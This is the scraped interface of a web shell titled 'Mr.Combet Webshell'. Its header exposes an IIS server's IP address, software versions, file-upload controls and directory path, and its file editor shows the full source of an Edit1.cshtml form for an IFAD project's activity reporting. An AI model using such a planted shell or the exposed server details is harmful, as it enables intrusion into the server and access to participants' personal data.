Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
ActivityReporting
/
Edit File Name :
Edit1.cshtml
@model RER_Project.DataAccess.ViewModels.Activity.ActivityReportingViewModel @using RER_Project.BusinessLayer.BusinessService; @{ var meta = AppUserService.GetCurrent(); var isChecker = ViewBag.isFromCreate; } <style> .btn { border-radius: 0px; } .select2-selection .select2-selection--multiple { border-radius: 0px !important; } .select2-container--default.select2-container--focus .select2-selection--multiple { border: solid #f5f5f5 1px !important; outline: 0; } .s { height: 20px; overflow-y: scroll } @* #PM { display: block; }*@ </style> <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Edit Activity/Event</strong> </li> </ol> </div> </div> <div id="pop-up-div" class="modal fade" role="dialog"> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <ul id="mytabs" class="nav nav-tabs"> <li class="active" id="topSelectors"><a data-toggle="tab" id="topSelectorsElement" href="#Activity">Event/Activity</a></li> <li id="btmSelectors"><a data-toggle="tab" id="btmSelectorsElement" href="#PM">IFF Members</a></li> <li id="midSelectors"><a data-toggle="tab" id="midSelectorsElement" href="#PO">Other Beneficiary</a></li> <li id="lastSelectors"><a data-toggle="tab" id="lastSelectorsElement" href="#IF">Island Info</a></li> </ul> <div class="tab-content"> @if (meta.RoleName == @ViewBag.role) { <div id="Activity" class="tab-pane fade in active"> <form name="CreateForm"> <input type="hidden" id="rolefinance" name="rolefinance" value="@ViewBag.role" /> <input type="hidden" id="ActivityReportingId" name="ActivityReportingId" value="@Model.ActivityReportingId" /> <input type="hidden" id="nepaliStartDate" name="NepaliStartDate" value="@Model.ActivityReporting.NepaliStartDate" /> <input type="hidden" id="startDate" name="StartDate" value="@Model.ActivityReporting.StartDate" /> <input type="hidden" id="nepaliEndDate" name="NepaliEndDate" value="@Model.ActivityReporting.NepaliEndDate" /> <input type="hidden" id="endDate" name="EndDate" value="@Model.ActivityReporting.EndDate" /> <input type="hidden" id="ComponentId" name="ComponentId" value="@Model.ActivityReporting.ComponentId" /> <input type="hidden" id="SubComponentId" name="SubComponentId" value="@Model.ActivityReporting.SubComponentId" /> <br /> <div class="row"> <div class="form-group col-md-6"> <label>Fiscal Year</label> <select class="form-control required" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year_unlocked/select" data-api-selected-value="@Model.ActivityReporting.FiscalYearId" disabled=""></select> <input type="hidden" name="FiscalYearId" id="FiscalYearId" value="@Model.ActivityReporting.FiscalYearId" /> </div> <div class="form-group col-md-6"> <label><strong>Event Name</strong></label> <select class="form-control required" name="ActivityId" id="ActivityId" data-api="/activity/select" data-api-selected-value="@Model.ActivityReporting.ActivityId" disabled=""></select> <input type="hidden" name="ActivityId" id="ActivityId" value="@Model.ActivityReporting.ActivityId" /> <input type="hidden" name="subtask" id="subtask" value="@Model.ActivityReporting.subtask" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Start Date</strong></label> @* <input type="text" class=" form-control required" id="nepaliStartDatePicker" value="@Model.ActivityReporting.NepaliStartDate" name="NepaliStartDate" />*@ <input type="date" class="form-control required" disabled id="StartDate" name="StartDate" value="@string.Format("{0:yyyy-MM-dd}", Model.ActivityReporting.StartDate.Date)" /> </div> <div class="form-group col-md-6"> <label><strong>End Date</strong></label> @* <input type="text" class=" form-control required" id="nepaliEndDatePicker" value="@Model.ActivityReporting.NepaliEndDate" name="NepaliEndDate" />*@ <input type="date" class="form-control required" id="EndDate" name="EndDate" disabled value="@string.Format("{0:yyyy-MM-dd}", Model.ActivityReporting.EndDate.Date)" /> </div> </div> <div class="row"> @*<div class="form-group col-md-6"> <label><strong>Commodity(If applicable)</strong></label> <select class="form-control" name="CommodityId" id="CommodityId" readonly data-api="/commodity/select" data-api-selected-value="@Model.ActivityReporting.CommodityId"></select> </div>*@ @* <div class="form-group col-md-6"> <label><strong>Commodity(If applicable) </strong></label> <select class="form-control" name="CommodityId" id="CommodityId" data-api="/commodity/select"> </select> <input type="hidden" id="SelectedMemberIds" name="SelectedMemberIds" /> </div>*@ <div class="form-group col-md-6"> <label><strong>Commodity</strong></label> @Html.ListBox("Commodity", null, new { @multiple = "multiple", @style = "display:none", @class = "form-control required", @onchange = "getCommodities()" }) </div> <div class="form-group col-md-6"> <label><strong>Sub Task</strong></label> @* <input type="text" class=" form-control required" id="nepaliEndDatePicker" value="@Model.ActivityReporting.NepaliEndDate" name="NepaliEndDate" />*@ <input type="text" class="form-control required" id="subtask" name="subtask" value="@Model.ActivityReporting.subtask" disabled /> </div> </div> <div class="row"> <div class=" form-group col-md-6"> <label><strong>IFAD Loan</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="IFADLoan" name="ifad_loan" readonly placeholder="IFAD Loan" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ifad_loan))" /> <span><strong>MVR</strong></span> </div> </div> <div class=" form-group col-md-6"> <label><strong>IFAD Grant</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="IFADGrant" name="ifad_grant" readonly placeholder="IFAD Grant" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ifad_grant))" /> <span><strong>MVR</strong></span> </div> </div> <div class=" form-group col-md-6"> <label><strong>Gov Fund</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="GovFund" name="gov_fund" readonly placeholder="Gov Fund" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.gov_fund))" /> <span><strong>MVR</strong></span> </div> </div> <div class=" form-group col-md-6"> <label><strong>Planned Budget @Model.ActivityReporting.PlannedBudget</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " readonly id="PlannedBudget" name="PlannedBudget" placeholder="Planned Budget" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.PlannedBudget))" /> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong>IFAD Loan Expense</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="IFADLoanExpense" name="ifad_loan_expense" placeholder="IFAD Loan Expense" maxlength="10" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ifad_loan_expense))" /> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong>IFAD Grant Expense</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="IFADGrantExpense" name="ifad_grant_expense" placeholder="IFAD Grant Expense" maxlength="10" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ifad_grant_expense))" /> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong>Gov Fund Expense</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="GovFundExpense" name="gov_fund_expense" placeholder="Gov Fund Expense" maxlength="10" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.gov_fund_expense))" /> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong>Actual Expense</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="ActualExpense" name="ActualExpense" readonly placeholder="Actual Expense" maxlength="10" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ActualExpense))" /> <span><strong>MVR</strong></span> </div> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Province</strong></label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates" data-api-selected-value="@Model.ActivityReporting.ProvinceId" readonly></select> </div> <div class="form-group col-md-6"> <label><strong>Atoll</strong></label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" data-api-selected-value="@Model.ActivityReporting.DistrictId" readonly></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Island</strong></label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" data-api-selected-value="@Model.ActivityReporting.MunicipalityId" readonly></select> </div> <div class="form-group col-md-6"> <label><strong>In cordination Of(If Any)</strong></label> <input type="text" class="form-control" readonly name="InCoordinationOf" placeholder="In Coordination Of" value="@Model.ActivityReporting.InCoordinationOf" /> </div> </div> <div class="row"> <div class=" form-group col-md-6"> <label><strong>Facilitator</strong></label> <input type="text" class="form-control" readonly name="Facilitator" placeholder="Facilitator" value="@Model.ActivityReporting.Facilitator" /> </div> <div class=" form-group col-md-6"> <label><strong>Objectives</strong></label> <textarea name="Objectives" id="Objectives" readonly maxlength="1000" class="form-control required" placeholder="Objectives">@Model.ActivityReporting.Objectives</textarea> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Details Of Activity</strong></label> <textarea name="DetailsOfActivity" id="DetailsOfActivity" readonly maxlength="1000" class="form-control required" placeholder="Details Of Activity">@Model.ActivityReporting.DetailsOfActivity</textarea> </div> <div class="form-group col-md-6"> <label><strong>Output</strong></label> <textarea name="Output" id="Output" maxlength="1000" readonly class="form-control required" placeholder="Output">@Model.ActivityReporting.Output</textarea> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Issues/Challenges Identified</strong></label> <textarea name="IssuesIdentified" id="IssuesIdentified" readonly maxlength="1000" class="form-control required" placeholder="Issues Identified">@Model.ActivityReporting.IssuesIdentified</textarea> </div> <div class="form-group col-md-6"> <label><strong>Recommendation</strong></label> <textarea name="Recommendation" id="Recommendation" readonly maxlength="1000" class="form-control required" placeholder="Recommendation">@Model.ActivityReporting.Recommendation</textarea> </div> </div> <div class="row"> <div class="form-group col-md-6"> <br /> <label> <input type="checkbox" id="MetObjectives" name="MetObjectives" readonly value="@(Model.ActivityReporting.MetObjectives ? "true" : "false")" onchange="$(this).val(this.checked)" @(Model.ActivityReporting.MetObjectives ? "checked=checked" : "") /> <strong> Did This Event Met its Objectives?</strong> </label> </div> </div> </form> <div class="row"> <div class="pull-right"> <a class="btn btn-primary btn-sm" id="SubmitButton">Save</a> <a href="/activityreporting/reporting" class="btn btn-default btn-sm">Back</a> </div> </div> </div> } else { <div id="Activity" class="tab-pane fade in active"> <form name="CreateForm"> <input type="hidden" id="ActivityReportingId" name="ActivityReportingId" value="@Model.ActivityReportingId" /> <input type="hidden" id="nepaliStartDate" name="NepaliStartDate" value="@Model.ActivityReporting.NepaliStartDate" /> <input type="hidden" id="startDate" name="StartDate" value="@Model.ActivityReporting.StartDate" /> <input type="hidden" id="nepaliEndDate" name="NepaliEndDate" value="@Model.ActivityReporting.NepaliEndDate" /> <input type="hidden" id="endDate" name="EndDate" value="@Model.ActivityReporting.EndDate" /> <input type="hidden" id="ComponentId" name="ComponentId" value="@Model.ActivityReporting.ComponentId" /> <input type="hidden" id="SubComponentId" name="SubComponentId" value="@Model.ActivityReporting.SubComponentId" /> <br /> <div class="row"> <div class="form-group col-md-6"> <label>Fiscal Year</label> <select class="form-control required" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year_unlocked/select" data-api-selected-value="@Model.ActivityReporting.FiscalYearId" disabled=""></select> <input type="hidden" name="FiscalYearId" id="FiscalYearId" value="@Model.ActivityReporting.FiscalYearId" /> </div> <div class="form-group col-md-6"> <label><strong>Event Name</strong></label> <select class="form-control required" name="ActivityId" id="ActivityId" data-api="/activity/select" data-api-selected-value="@Model.ActivityReporting.ActivityId" disabled=""></select> <input type="hidden" name="ActivityId" id="ActivityId" value="@Model.ActivityReporting.ActivityId" /> <input type="hidden" name="subtask" id="subtask" value="@Model.ActivityReporting.subtask" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Start Date</strong></label> @* <input type="text" class=" form-control required" id="nepaliStartDatePicker" value="@Model.ActivityReporting.NepaliStartDate" name="NepaliStartDate" />*@ <input type="date" class="form-control required" id="StartDate" name="StartDate" value="@string.Format("{0:yyyy-MM-dd}", Model.ActivityReporting.StartDate.Date)" readonly /> </div> <div class="form-group col-md-6"> <label><strong>End Date</strong></label> @* <input type="text" class=" form-control required" id="nepaliEndDatePicker" value="@Model.ActivityReporting.NepaliEndDate" name="NepaliEndDate" />*@ <input type="date" class="form-control required" id="EndDate" name="EndDate" value="@string.Format("{0:yyyy-MM-dd}", Model.ActivityReporting.EndDate.Date)" readonly /> </div> </div> <div class="row"> @* <div class="form-group col-md-6"> <label><strong>Commodity(If applicable) </strong></label> <select class="form-control " name="CommodityId" id="CommodityId" data-api="/commodity/select"> </select> <input type="hidden" id="SelectedMemberIds" name="SelectedMemberIds" /> </div>*@ <div class="form-group col-md-6"> <label><strong>Commodity</strong></label> @Html.ListBox("Commodity", null, new { @multiple = "multiple", @style = "display:none", @class = "form-control required", @onchange = "getCommodities()" }) </div> <div class="form-group col-md-6"> <label><strong>Sub Task</strong></label> @* <input type="text" class=" form-control required" id="nepaliEndDatePicker" value="@Model.ActivityReporting.NepaliEndDate" name="NepaliEndDate" />*@ <input type="text" class="form-control required" id="subtask" name="subtask" value="@Model.ActivityReporting.subtask" disabled /> </div> </div> <div class="row"> <div class=" form-group col-md-6"> <label><strong>IFAD Loan</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="IFADLoan" name="ifad_loan" readonly placeholder="IFAD Loan" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ifad_loan))" /> <span><strong>MVR</strong></span> </div> </div> <div class=" form-group col-md-6"> <label><strong>IFAD Grant</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="IFADGrant" name="ifad_grant" readonly placeholder="IFAD Grant" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ifad_grant))" /> <span><strong>MVR</strong></span> </div> </div> <div class=" form-group col-md-6"> <label><strong>Gov Fund</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="GovFund" name="gov_fund" readonly placeholder="Gov Fund" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.gov_fund))" /> <span><strong>MVR</strong></span> </div> </div> <div class=" form-group col-md-6"> <label><strong>Planned Budget @Model.ActivityReporting.PlannedBudget</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " id="PlannedBudget" name="PlannedBudget" placeholder="Planned Budget" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.PlannedBudget))" readonly /> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong>IFAD Loan Expense</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " readonly id="IFADLoanExpense" name="ifad_loan_expense" placeholder="IFAD Loan Expense" maxlength="10" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ifad_loan_expense))" /> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong>IFAD Grant Expense</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " readonly id="IFADGrantExpense" name="ifad_grant_expense" placeholder="IFAD Grant Expense" maxlength="10" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ifad_grant_expense))" /> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong>Gov Fund Expense</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " readonly id="GovFundExpense" name="gov_fund_expense" placeholder="Gov Fund Expense" maxlength="10" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.gov_fund_expense))" /> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong>Actual Expense</strong></label> <div class="inputWithIcon"> <input type="text" class="form-control " readonly id="ActualExpense" name="ActualExpense" placeholder="Actual Expense" maxlength="10" value="@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}",(Model.ActivityReporting.ActualExpense))" /> <span><strong>MVR</strong></span> @*<input type="text" class="curr form-control required currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="10" id="ActualExpense" name="ActualExpense" placeholder="Actual Expense"> <span><strong>MVR</strong></span>*@ </div> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Province</strong></label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates" data-api-selected-value="@Model.ActivityReporting.ProvinceId" readonly></select> </div> <div class="form-group col-md-6"> <label><strong>Atoll</strong></label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" data-api-selected-value="@Model.ActivityReporting.DistrictId" readonly></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Island</strong></label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" data-api-selected-value="@Model.ActivityReporting.MunicipalityId" readonly></select> </div> <div class="form-group col-md-6"> <label><strong>In cordination Of(If Any)</strong></label> <input type="text" class="form-control" name="InCoordinationOf" placeholder="In Coordination Of" value="@Model.ActivityReporting.InCoordinationOf" /> </div> </div> <div class="row"> <div class=" form-group col-md-6"> <label><strong>Facilitator</strong></label> <input type="text" class="form-control" name="Facilitator" placeholder="Facilitator" value="@Model.ActivityReporting.Facilitator" /> </div> <div class=" form-group col-md-6"> <label><strong>Objectives</strong></label> <textarea name="Objectives" id="Objectives" maxlength="1000" class="form-control required" placeholder="Objectives">@Model.ActivityReporting.Objectives</textarea> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Details Of Activity</strong></label> <textarea name="DetailsOfActivity" id="DetailsOfActivity" maxlength="1000" class="form-control required" placeholder="Details Of Activity">@Model.ActivityReporting.DetailsOfActivity</textarea> </div> <div class="form-group col-md-6"> <label><strong>Output</strong></label> <textarea name="Output" id="Output" maxlength="1000" class="form-control required" placeholder="Output">@Model.ActivityReporting.Output</textarea> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Issues/Challenges Identified</strong></label> <textarea name="IssuesIdentified" id="IssuesIdentified" maxlength="1000" class="form-control required" placeholder="Issues Identified">@Model.ActivityReporting.IssuesIdentified</textarea> </div> <div class="form-group col-md-6"> <label><strong>Recommendation</strong></label> <textarea name="Recommendation" id="Recommendation" maxlength="1000" class="form-control required" placeholder="Recommendation">@Model.ActivityReporting.Recommendation</textarea> </div> </div> <div class="row"> <div class="form-group col-md-6"> <br /> <label> <input type="checkbox" id="MetObjectives" name="MetObjectives" value="@(Model.ActivityReporting.MetObjectives ? "true" : "false")" onchange="$(this).val(this.checked)" @(Model.ActivityReporting.MetObjectives ? "checked=checked" : "") /> <strong> Did This Event Met its Objectives?</strong> </label> </div> </div> </form> <div class="row"> <div class="pull-right"> <a class="btn btn-primary btn-sm" id="SubmitButton">Save</a> <a href="/activityreporting/reporting" class="btn btn-default btn-sm">Back</a> </div> </div> </div> } <div id="PM" class="tab-pane fade"> <br /> <form id="tpm"> <br /> <div class="row"> <div class="form-group col-md-3"> <label><strong>Province</strong></label> <select type="text" class="form-control required clear" name="ProvinceId" id="PId" data-api="/province/select/threeStates"></select> </div> <div class="form-group col-md-3"> <label><strong>Atoll</strong></label> <select type="text" class="form-control required clear" name="DistrictId" id="DId" data-api="/districts/select" disabled=""></select> </div> @* <div class="form-group col-md-6"> <label><strong>Commodity(If applicable) </strong></label> <select class="form-control " name="CommodityId" id="CommodityId" data-api="/commodity/select"> </select> <input type="hidden" id="SelectedMemberIds" name="SelectedMemberIds" /> </div>*@ @*<div class="form-group col-md-6"> <label><strong>Commodity</strong></label> @Html.ListBox("Commodity", null, new { @multiple = "multiple", @style = "display:none", @class = "form-control required clear", @onchange = "getCommodities()" }) </div>*@ <div class="form-group col-md-3"> <label><strong>Group</strong></label> <select type="text" class="form-control required clear" name="GroupId" id="GId" data-api="/groups/commodity/select" disabled="" onchange="showMembers()"></select> </div> </div> <div class="row"> <div class="form-group col-md-12"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="tblPMember" name="tblPMember"> <thead> <tr> <th>Group</th> <th>Member Name </th> <th>Age</th> @* <th>Ethnicity</th>*@ <th>Gender</th> <th>Contact</th> @* <th>Origin</th>*@ <th>Action</th> </tr> </thead> <tbody> @if (Model.ActivityParticipantViewList.Count() > 0) { foreach (var item in Model.ActivityParticipantViewList.Where(x => x.GroupId != 0)) { <tr> <td><input type="hidden" name="GroupId" value="@item.GroupId" />@item.GroupName</td> <td><input type="hidden" name="GroupId" value="@item.MemberId" />@String.Concat(item.FirstName, ' ', item.LastName)</td> <td>@item.Age</td> @*<td>@item.Ethnicity</td>*@ <td>@item.Gender</td> <td>@item.ContactNo</td> @* <td>@item.Origin</td>*@ @if (meta.IsAdministrator) { <td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td> } else { <td></td> } </tr> } } else { @*<tr> <td align="center" colspan="7">No Records Found</td> </tr>*@ } </tbody> </table> </div> </div> <a data-toggle="tab" id="topSelectorsElement" href="#Activity" class="btn btn-sm btn-primary" onclick="Previous('PM')">Previous</a> <a data-toggle="tab" id="midSelectorsElement" href="#PO" class="btn btn-sm btn-primary" onclick="Next('PM')">Next</a> </div> </form> </div> <div id="PO" class="tab-pane fade"> <br /> <form id="tpo"> <br /> <div class="row"> <div class="form-group col-md-2"> <label><strong>Member Name</strong></label> <input type="text" class="form-control clear" name="MemberName" id="MemberName" placeholder="Member Name" /> </div> @* <div class="form-group col-md-2"> <label><strong>Ethnicity</strong></label> <select type="text" class="form-control required clear" name="EthnicityId" id="EthnicityId" data-api="/ethnicity/select"></select> </div>*@ <div class="form-group col-md-2"> <label><strong>Gender</strong></label> <select type="text" class="form-control required clear" name="Gender" id="Gender" data-api="/genders/select"></select> </div> @* <div class="form-group col-md-2"> <label><strong>Origin</strong></label> <select type="text" class="form-control required clear" name="Origin" id="Origin" data-api="/origin/select"></select> </div>*@ <div class="form-group col-md-2"> <label><strong>Age</strong></label> <input type="number" class="form-control required clear" id="Age" name="Age" min="0" /> </div> <div class="form-group col-md-2"> <label><strong>Contact</strong></label> <input type="text" class="form-control required clear" id="Contact" name="Contact" maxlength="10" /> </div> <div class="form-group col-md-2"> <label><strong>National Id No.</strong></label> <input type="text" class="form-control required clear" id="NationalId" name="NationalId" maxlength="20" /> </div> <div class="form-group col-md-2"> <label class="align-label-btm"> </label> <a class="btn btn-sm btn-primary" onclick="addPOtherMember()" title="Add">Add</a> </div> </div> <div class="row"> <div class="form-group col-md-12"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="tblPOther"> <thead> <tr> <th>Member Name</th> @* <th>Ethnicity</th>*@ <th>Gender</th> <th>Age</th> <th>Contact</th> <th>National Id</th> @* <th>Origin</th>*@ <th>Action</th> </tr> </thead> <tbody> @if (Model.ActivityParticipantViewList.Count() > 0) { foreach (var item in Model.ActivityParticipantViewList.Where(x => x.GroupId == 0)) { <tr> @*<td>@String.Concat(item.FirstName, ' ', item.LastName)</td>*@ <td>@item.MemberName</td> @* <td>@item.Ethnicity</td>*@ <td>@item.Gender<input type=hidden name="Gender" value="@item.Gender" /></td> <td>@item.Age<input type=hidden name="Age" value="@item.Age" /></td> <td>@item.ContactNo</td> @* <td>@item.Origin</td>*@ <td>@item.NationalId</td> @if (meta.IsAdministrator) { <td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td> } else { <td></td> } </tr> } } @* else { <tr> <td align="center" colspan="7">No Records Found</td> </tr> }*@ </tbody> </table> </div> </div> <a data-toggle="tab" id="btmSelectorsElement" href="#PM" class="btn btn-sm btn-primary" onclick="Previous('PO')">Previous</a> <a data-toggle="tab" id="lastSelectorsElement" href="#IF" class="btn btn-sm btn-primary" onclick="Next('PO')">Next</a> </div> </form> </div> @*new tab for island info*@ <div id="IF" class="tab-pane fade"> <br /> <form id="tif"> <br /> <div class="row"> <div class="form-group col-md-2"> <label><strong>Atoll</strong></label> <select type="text" class="form-control required clear" name="DistrictId" id="AId" data-api="/districts/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Island</strong></label> <select type="text" class="form-control required clear" name="MunicipalityId" id="IId" disabled="" data-api="/municipality/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Men</strong></label> <input type="number" class="form-control required clear" id="Men" name="Men" min="0" /> </div> <div class="form-group col-md-2"> <label><strong>Women</strong></label> <input type="number" class="form-control required clear" id="Women" name="Women" min="0" /> </div> <div class="form-group col-md-2"> <label><strong>Others</strong></label> <input type="text" class="form-control required clear" id="Others" name="Others" maxlength="10" /> </div> <div class="form-group col-md-2"> <label><strong>Remarks</strong></label> <input type="text" class="form-control required clear" id="Remarks" name="Remarks" maxlength="20" /> </div> <div class="form-group col-md-2"> <label class="align-label-btm"> </label> <a class="btn btn-sm btn-primary" onclick="addIslandInfo()" title="Add">Add</a> </div> </div> <div class="row"> <div class="form-group col-md-12"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="tblIFMember"> <thead> <tr> <th>Atoll</th> <th>Island</th> <th>Men</th> <th>Women</th> <th>Others</th> <th>Remarks</th> <th>Action</th> </tr> </thead> <tbody> @if (Model.IslandInfoList.Count() > 0) { foreach (var item in Model.IslandInfoList) { <input type="hidden" name="id" value="@item.id" /> <tr> <td>@item.district_name<input type=hidden name="Atoll" value="@item.atoll" /></td> <td>@item.municipality_name<input type=hidden name="Island" value="@item.island" /></td> <td>@item.men</td> <td>@item.women</td> <td>@item.others</td> <td>@item.remarks</td> @if (meta.IsAdministrator) { <td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td> } else { <td></td> } </tr> } } </tbody> </table> </div> <a data-toggle="tab" id="topSelectorsElement" href="#Activity" class="btn btn-primary mt-3" onclick="goToFirstTab()">Return for save</a> </div> </div> </form> </div> </div> </div> </div> </div> </div> </div> <script src="~/Scripts/jquery.min.js"></script> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <script src="~/Scripts/app/bootstrap-multiselect.js"></script> <script type="text/javascript"> function goToFirstTab() { $('#topSelectors').addClass('active'); $('#lastSelectors').removeClass('active'); } function Next(tabid) { debugger; if (tabid == "PM") { $('#midSelectors').addClass('active'); $('#btmSelectors').removeClass('active'); } else if (tabid == "PO") { $('#lastSelectors').addClass('active'); $('#midSelectors').removeClass('active'); } } function Previous(tabid) { if (tabid == "PM") { $('#topSelectors').addClass('active'); $('#btmSelectors').removeClass('active'); } else if (tabid == "PO") { $('#btmSelectors').addClass('active'); $('#midSelectors').removeClass('active'); } } function isFromCreatePage() { //Top Selectors let topSelectors = document.querySelector('#topSelectors');// need this for just to change active class let btmSelectors = document.querySelector('#btmSelectors') //A links of top selectors let topSelectorsElement = document.querySelector('#topSelectorsElement'); //need this for just to change aria-expanded= true/false let btmSelectorsElement = document.querySelector('#btmSelectorsElement'); //Bottom Selectors let groupMember = document.querySelector('#PM'); let activity = document.querySelector('#Activity'); topSelectors.classList.remove('active'); btmSelectors.classList.add('active'); topSelectorsElement.setAttribute('aria-expanded', false); btmSelectorsElement.setAttribute('aria-expanded', true); activity.classList.remove('active'); activity.classList.remove('in'); groupMember.classList.add('active'); groupMember.classList.add('in'); } debugger; let ax = '@isChecker'; if (ax === 'True') { debugger; isFromCreatePage(); } function showMembers() { var group = $('#GId option:selected').val(); AjaxForm.popup("/group/member/memberList?groupId=" + group); } $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeLocation(); window.initializeCasecadeMembers(); $('#Commodity').multiselect({ includeSelectAllOption: true, buttonWidth: "100%", search: true, enableFiltering: true, enableCaseInsensitiveFiltering: true, maxHeight: 300, buttonWidth: '100%', width: 420 }); $('.multiselect').css('max-width', '840px'); $('.multiselect').css('overflow', 'hidden'); var startDate = new Date($("#startDate").val()); var startNepaliDate = calendarFunctions.getBsDateByAdDate(startDate.getFullYear(), startDate.getMonth() + 1, startDate.getDate()); var startFormatedNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", startNepaliDate.bsYear, startNepaliDate.bsMonth, startNepaliDate.bsDate); $("#nepaliStartDatePicker").val(startFormatedNepaliDate); $("#nepaliStartDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#nepaliStartDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#startDate").val(datePickerData.adDate.toLocaleDateString()); $("#nepaliStartDate").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }); var endDate = new Date($("#endDate").val()); var endNepaliDate = calendarFunctions.getBsDateByAdDate(endDate.getFullYear(), endDate.getMonth() + 1, endDate.getDate()); var endFormatedNepaliDate = 